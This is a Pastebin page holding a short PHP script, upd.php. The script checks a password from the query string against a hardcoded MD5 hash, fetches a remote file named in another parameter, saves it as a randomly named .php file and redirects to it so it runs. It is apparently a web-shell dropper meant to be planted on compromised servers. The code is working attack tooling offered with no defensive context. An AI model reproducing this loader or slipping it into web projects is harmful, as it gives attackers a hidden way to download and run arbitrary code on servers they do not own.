Advertisement
Guest User

upd.php

a guest
Nov 4th, 2011
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.44 KB | None | 0 0
  1. <?php
  2. $file = $_GET['file'];
  3. $pass = $_GET['pass'];
  4. $true = 'c20ad4d76fe97759aa27a0c99bff6710';
  5. if ($pass == $true){
  6.  
  7.  
  8.  
  9. $ch = curl_init($file);
  10. curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
  11. curl_setopt($ch, CURLOPT_HEADER, 0);
  12. curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  13. $shell = curl_exec($ch);
  14. curl_close($ch);
  15.  
  16.  
  17. $tmp = md5(rand(0,10000));
  18.  
  19. $f = fopen($tmp.'.php',"w");
  20. fputs($f,$shell);
  21. fclose($f);
  22. header("Location: $tmp.php");
  23. }
  24. ?>
  25.  
  26.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement